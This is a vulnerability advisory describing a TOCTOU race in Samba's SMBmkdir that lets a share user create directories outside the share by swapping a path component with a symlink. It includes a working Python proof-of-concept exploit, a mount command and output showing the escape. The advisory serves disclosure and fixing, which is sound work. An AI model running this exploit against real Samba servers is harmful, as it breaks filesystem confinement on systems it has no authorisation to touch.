Race condition in mkdir operation allows escaping share directory ================================================================= Author: Michael Hanselmann. Updated: May 30, 2019. Samba's "SMBmkdir" operation as implemented in the "samba3" source tree is susceptible to a TOCTOU race condition, allowing a user to create directories anywhere they have write permission outside the share directory (similar to CVE-2019-3880). The reason is that "source3/modules/vfs_default.c:vfswrap_mkdir" invokes "mkdir(2)" with a path which at that point in time may contain a symlink. The check in "source3/smbd/vfs.c:check_reduced_name" was executed earlier and had a different world view. Other requests such as renaming via "source3/modules/vfs_default.c:vfswrap_rename" may also suffer from comparable effects. Reproduction environment ------------------------ Samba compiled from master branch at commit 0ae585db26727a944 (ldb-1.6.3-882-gbcaac874b96) running in a Docker container with Debian GNU/Linux buster/sid, kernel Linux 4.9.0-9-amd64. Reproduction ------------ Set up a share, e.g.: $ cat /usr/local/samba/etc/smb.conf [data] path = /srv/data readonly = no EOF Grant a non-privileged user write access to the share. Mount share: --- mount -t cifs -o username=johndoe,password=pass,vers=1.0 //172.17.0.2/data /mnt/first/ --- Run script exploiting race condition by repeatedly attempting to create a directory while also switching one path component back and forth between a symlink and a directory: --- #!/usr/bin/python3 import os import sys import shutil import time import random import threading import subprocess ev = threading.Event() def worker(): path = "/mnt/first" dest = os.path.join(path, "dest") fordel = os.path.join(path, "fordel") while True: if os.path.islink(dest): os.unlink(dest) elif os.path.isdir(dest): shutil.rmtree(dest) os.mkdir(dest) ev.set() os.rename(dest, fordel) os.symlink("/tmp", dest) ev.clear() if os.path.isdir(fordel): shutil.rmtree(fordel) def main(): threading.Thread(target=worker, daemon=True).start() # Use smbclient to force use of separate smbd process as well as to require # resolving of symlink on server cmd = [ "bin/smbclient", "-U", "johndoe", r"\\172.17.0.2\data", "pass", "-", ] with subprocess.Popen(cmd, stdin=subprocess.PIPE, universal_newlines=True) as proc: while True: ev.wait() proc.stdin.write("mkdir dest/shouldnotexist.{}\n".format(time.time())) proc.stdin.flush() if __name__ == "__main__": main() --- It may take some time and with some luck the race is lost (in my tests "stress(1)" proved useful to simulate more load on the otherwise idle test system). The result are directories outside the shared directory ("/srv/data") created through the symlink to "/tmp": --- $ ls -lhd /tmp/shouldnotexist.* drwxr-xr-x 2 johndoe johndoe 40 May 29 23:29 /tmp/shouldnotexist.1559172555.1905324 drwxr-xr-x 2 johndoe johndoe 40 May 29 23:29 /tmp/shouldnotexist.1559172563.3102913 drwxr-xr-x 2 johndoe johndoe 40 May 29 23:30 /tmp/shouldnotexist.1559172649.0540574 ---